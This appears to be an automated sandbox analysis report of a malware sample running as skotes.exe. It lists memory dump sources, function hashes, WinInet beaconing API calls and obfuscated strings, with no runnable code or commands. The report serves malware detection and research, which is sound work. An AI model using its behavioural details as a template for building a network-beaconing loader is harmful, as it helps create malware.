Associated: 0000000A.00000002.1669072257.000000000038A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9078f98f7e47b9c43b62c032dc5a0f26eb2ed44f7a134572a28b58021eaff7d5
Instruction ID: 2428479e27dcd3f6741f3d4d510f9b924bd1fbcc0e7ea0af7d762a839cee2b3e
Opcode Fuzzy Hash: 9078f98f7e47b9c43b62c032dc5a0f26eb2ed44f7a134572a28b58021eaff7d5
Instruction Fuzzy Hash: 43E06D7680C41A8BDB10AF34C4087AE77A0EF14311F12063DDDD5D3680D6714C20DE96

Non-executed Functions

Function 0025C807 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1667815433.0000000000256000.00000040.00000001.01000000.00000006.sdmp, Offset: 000C0000, based on PE: true

Associated: 0000000A.00000002.1667525700.00000000000C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667557254.00000000000C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667586371.00000000000C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667613524.00000000000CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667642913.00000000000D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667757040.000000000023D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667784395.000000000023F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667815433.0000000000261000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668128547.0000000000277000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668155410.0000000000278000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668182853.0000000000279000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668209841.000000000027B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668235065.000000000027C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668259950.000000000027E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668290245.0000000000295000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668315393.0000000000296000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668339354.0000000000297000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668363271.0000000000299000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668387832.000000000029A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668413287.00000000002A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668438798.00000000002A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668467098.00000000002B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668493269.00000000002BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668517186.00000000002BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668546648.00000000002D8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668575126.00000000002D9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668602687.00000000002DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668632884.00000000002DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668659612.00000000002DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668697349.00000000002E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668726949.00000000002E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668756752.00000000002ED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668791005.00000000002FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668823450.0000000000304000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668852470.000000000030E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668882498.0000000000316000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668916311.0000000000327000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668942917.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.0000000000372000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668983352.000000000037A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1669041092.0000000000388000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1669072257.000000000038A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f46771496c90739e924f5c2af25c0410d5d2d238e9c476af986a2bae18a3a67
Instruction ID: b04cdc6a4e9a58aff0f9b0840e2147198b2d67e710f2812ffb010fefa78f3442
Opcode Fuzzy Hash: 0f46771496c90739e924f5c2af25c0410d5d2d238e9c476af986a2bae18a3a67
Instruction Fuzzy Hash: 6011A5F726C251BEB203C6456F98EBB776DE6C2335730847BF806C6042E2A19C1D5679

Analysis Process: 4XW8W5G3AUTSGA2M5UZH7L9.exePID: 7720, Parent PID: 6604COMMON

Executed Functions

Function 04F2019F Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f8b50f2cd47735a3cfb83535e35a5529f4379169d82d436a98dfcf119b75a19
Instruction ID: 8f42959143ba9c3af8d2821fe29a425f0ec38b8de53e6fb0e133d6bd34b89451
Opcode Fuzzy Hash: 2f8b50f2cd47735a3cfb83535e35a5529f4379169d82d436a98dfcf119b75a19
Instruction Fuzzy Hash: 1B313EEB2881317E714295822B58AFB666DE6D77303308437F907D5546FAC55A4E3032

Function 04F201B9 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5225f0149bb2623c009fc9a4aab722601e006e5eaf7ae83b621a48f587de0089
Instruction ID: d8974b862c27e3fa9be76d3697fb8941cade2a6d0706398d4327b96fd85858d4
Opcode Fuzzy Hash: 5225f0149bb2623c009fc9a4aab722601e006e5eaf7ae83b621a48f587de0089
Instruction Fuzzy Hash: 09316FEB2881317E714295862B54AFB676EE6D73303308437F507D5582FA855A8E3032

Function 04F201DB Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1aaf8dfad1a447f5147040073d8269efacfdff237b045d6a00f96b71d115e132
Instruction ID: 6041a93198880f9e4a9daf13f7d0494cc245324724da8d9019c86457f204b35d
Opcode Fuzzy Hash: 1aaf8dfad1a447f5147040073d8269efacfdff237b045d6a00f96b71d115e132
Instruction Fuzzy Hash: 8D21C3EB2881317E614295822B986FBBB6EE6D73303304477F607D5582FAC55A4E3132

Function 04F201F3 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 425b6e454dbc2aa0f8c8864e2a6015fbaf86ab01bd56a0820121619c0a28d7a5
Instruction ID: 2045d031962867bea2fc1176364bde492d3f06bdb707abd8d71e1695261ee3c8
Opcode Fuzzy Hash: 425b6e454dbc2aa0f8c8864e2a6015fbaf86ab01bd56a0820121619c0a28d7a5
Instruction Fuzzy Hash: 2421E4AB28C2317EA24255862B486F77A6DE7C33303308477F507C5982F6C81A4E7132

Function 04F202A7 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6b12d6bc39a388a64981dc6f0381c9e5c2774538be66878f5c49f8adf040619
Instruction ID: e2db9540e4261207dd52bf0c6f9dcee2d0f92e976e2600caa1875c834956f4f5
Opcode Fuzzy Hash: b6b12d6bc39a388a64981dc6f0381c9e5c2774538be66878f5c49f8adf040619
Instruction Fuzzy Hash: 5E21F1EB28D1207EA54285822B58AF7AB6DE7C73303308427F647D4482FA845E4F7132

Function 04F2020E Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 365e98546386b5b515eafd9991b90e4f6163c77ed9e9c5b8825667b8af980379
Instruction ID: f6a57e402c82adbfa883e54e93c8e7d06a659a2ff1c3dc82566c59c805afd8be
Opcode Fuzzy Hash: 365e98546386b5b515eafd9991b90e4f6163c77ed9e9c5b8825667b8af980379
Instruction Fuzzy Hash: AE2192EB2881317E614285822B586B76A6DE3D73303308437F607D5582FAC41F4E3132

Function 04F20225 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ad20e205b5f31cd2451a3d2673180be81c9c80a0f3325ae68eb5cd65f933193
Instruction ID: 3b6ba5e4e75feba1c54fc295036a473117303144fe3fd4e2456b30d71867ee31
Opcode Fuzzy Hash: 3ad20e205b5f31cd2451a3d2673180be81c9c80a0f3325ae68eb5cd65f933193
Instruction Fuzzy Hash: AD11C0EB288130BE614186822B58AB7A76DE3C73303308537F647D5592FAD42F4E7132

Function 04F20240 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808d4f62b984aa158da639521cb41b6637cc481caf4dfe5da0af1b460e44fe07
Instruction ID: 29860c9d2d4823a7dc75864d20010e04d4e7b10581ae00b63eceec68fe7321f7
Opcode Fuzzy Hash: 808d4f62b984aa158da639521cb41b6637cc481caf4dfe5da0af1b460e44fe07
Instruction Fuzzy Hash: 97116DEB2881217E714285822B58AB7676DE3D73303308527F647D4592FA941F4E3132

Function 04F2022D Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f42eb5f09da1dab656d4758169a209e240100f84a43b405b2a9e23b53a516aa6
Instruction ID: df10da584e041ad291ccb16a6db467130e2d91ed9429124f301beca7fe497b00
Opcode Fuzzy Hash: f42eb5f09da1dab656d4758169a209e240100f84a43b405b2a9e23b53a516aa6
Instruction Fuzzy Hash: 3C11C3AB288120BE614186822B58AB7676DE3D73303308527F647D4492FA941F4E3132

Function 04F20277 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43b90495fcf1dbfdb076fff2ae7340e64f1a6659e3fe0ac5bcabf401d5b90ab0
Instruction ID: 5b85b2bf66362e3e369968e26e308bca64020ac6cae767498293cc281452c8a4
Opcode Fuzzy Hash: 43b90495fcf1dbfdb076fff2ae7340e64f1a6659e3fe0ac5bcabf401d5b90ab0
Instruction Fuzzy Hash: DE1138AB30D171AFE74085A63B987BB779DE7CA3303304567F656C6091ED842E4BA132

Function 04F202ED Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56b73a96cf088c30a0241de528159c3cfd5e9e8998e9db6659bea6272503e99d
Instruction ID: 11b18c075de537789ccc44f4fc4cc371082c53401ec7ad6913c8fa7289f6c833
Opcode Fuzzy Hash: 56b73a96cf088c30a0241de528159c3cfd5e9e8998e9db6659bea6272503e99d
Instruction Fuzzy Hash: 8001D2EB38C1316F750085866B946BB639DE3D63303308927F652C5191FA846E8F6172

Function 04F202D9 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1596025865.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4f20000_4XW8W5G3AUTSGA2M5UZH7L9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd51809c8670d0f791e309f10c0cd553b4cea65214148e8540f4765c859930d0
Instruction ID: 595ab58ecea8195d0e63f15202481cc18328173e5208c20bc5738040c485c754
Opcode Fuzzy Hash: bd51809c8670d0f791e309f10c0cd553b4cea65214148e8540f4765c859930d0
Instruction Fuzzy Hash: 1EF0AFAB348121AF615095862B946B762ADE3D53303704927F246C4051FA946E8A6132

Analysis Process: skotes.exePID: 1876, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.7%
Total number of Nodes:	1290
Total number of Limit Nodes:	24

Executed Functions

Function 0042BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 0042BEB8
InternetOpenW.WININET(00478DC8,00000000,00000000,00000000,00000000), ref: 0042BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0042BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0042BF36
HttpSendRequestA.WININET(?,00000000), ref: 0042BFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 0042C0A7
InternetCloseHandle.WININET(?), ref: 0042C187
InternetCloseHandle.WININET(?), ref: 0042C18F
InternetCloseHandle.WININET(?), ref: 0042C197

Strings

invalid stoi argument, xrefs: 0042E4F4
8HJUeIfzLo==, xrefs: 0042C3CB, 0042C623
stoi argument out of range, xrefs: 0042E4EA
RmNn, xrefs: 0042D606
RE1NXF==, xrefs: 0042BF0E
8HJUeMD Lq5=, xrefs: 0042C465

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: 872b1a48f33b495bbaecef11ba90c1e9b6d44e8aac4d085817dfb93cefd1d6ed
Instruction ID: 7f5ae232ca11bc84a70dcf7cc4a3685005aa816657f9c93c28257f6a7a73cc3d
Opcode Fuzzy Hash: 872b1a48f33b495bbaecef11ba90c1e9b6d44e8aac4d085817dfb93cefd1d6ed
Instruction Fuzzy Hash: 40B116B0A001289BDB24DF28DC85BAE7B75EF45304F90459EF908972C1DB799AC0CF99

Function 004265E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00426680

Strings

GSTmfV==, xrefs: 00426728
ISNmfV==, xrefs: 004267D1
RySfdMLx, xrefs: 0042669C

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 3c67d30dc3abd8f67c2a58ee1348afd3a6ddd7638c611214f06b415a0034cc9b
Instruction ID: 127e2c80dd2c1b3a34138a236d1b8e8bede786a966d54b729a8e817eafc4eb6c
Opcode Fuzzy Hash: 3c67d30dc3abd8f67c2a58ee1348afd3a6ddd7638c611214f06b415a0034cc9b
Instruction Fuzzy Hash: 9891E7B1A001289BDB28DF28DC85BDDB779EB45304F9045EEE50997281DB359BC4CFA8

Function 0043D3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004224BE

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: e336f632b40e8e3df47a932ad59d1ae106e73073dcb4c572fa94ae79c4a0f8cf
Instruction ID: e350b87c255b6306c696724da207ed4a9bb0a0cb239286be1d4427cf82a0e450
Opcode Fuzzy Hash: e336f632b40e8e3df47a932ad59d1ae106e73073dcb4c572fa94ae79c4a0f8cf
Instruction Fuzzy Hash: 1F515E72D006068BDB19CF69E8C56AEBBF5FB48314F24896AD405EB350D378A940CF59

Function 004347B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

Strings

3I3eB==, xrefs: 00434802
9250, xrefs: 004354AD
246122658369, xrefs: 0043502A, 0043503D, 0043507F, 00435089, 00435684
WGS0, xrefs: 00435533
anE0, xrefs: 0043566B
93E0, xrefs: 00435600
9HQ0, xrefs: 004354E1
jS=, xrefs: 00436513, 004367E2
stoi argument out of range, xrefs: 00434F9C
9c9aa5, xrefs: 00435619
aWW0, xrefs: 0043555C
2I0, xrefs: 00435627
MGI+, xrefs: 004348AD, 004349DC, 00434BCC, 00434CFB
GE0, xrefs: 00435585
VXA0, xrefs: 004355AE
VXQ0, xrefs: 0043550A
8WI0, xrefs: 00435692
Vmc0, xrefs: 004355D7
Fw==, xrefs: 00434E1D
MGE+, xrefs: 00434866, 004348DD, 00434B85, 00434BFC
KCWUOl==, xrefs: 00435649

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleep
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 3516211189-1982281295
Opcode ID: e24718ed006257d1ee02a445f555d54b0903c238191dff863eea96575aaef213
Instruction ID: 31229e571a5ecd51bc652008e7a9cb968aff9f394a6b27ca2be942f335480b1a
Opcode Fuzzy Hash: e24718ed006257d1ee02a445f555d54b0903c238191dff863eea96575aaef213
Instruction Fuzzy Hash: 34233770E002549BEB19DB28CE8979DBB769F8A304F5481DDE048A72C2DB395FC48F59

Function 00432F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

invalid stoi argument, xrefs: 0043434A
stoi argument out of range, xrefs: 00434359
WGpm, xrefs: 00433CC9
WTw=, xrefs: 00432F5E
246122658369, xrefs: 00432F78
V2Te, xrefs: 00433EB0
", xrefs: 00433F89
Hykl, xrefs: 0043387F
WX f, xrefs: 00433BDE
Fw==, xrefs: 0043378E
5120, xrefs: 00433BAF, 00433C9A

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: 36a70819d390b8ad57202d14c72d3afeb958f90fb1facf9e36af0660f342b213
Instruction ID: 59e536a1cb072242f9f0d986864799e174821ff6ed1e1d3ab28cb5db152638f5
Opcode Fuzzy Hash: 36a70819d390b8ad57202d14c72d3afeb958f90fb1facf9e36af0660f342b213
Instruction Fuzzy Hash: 7A724870A002489BEF18EF78CD467DDBBB5AF4A304F50458EE445A7382D73D9B848B96

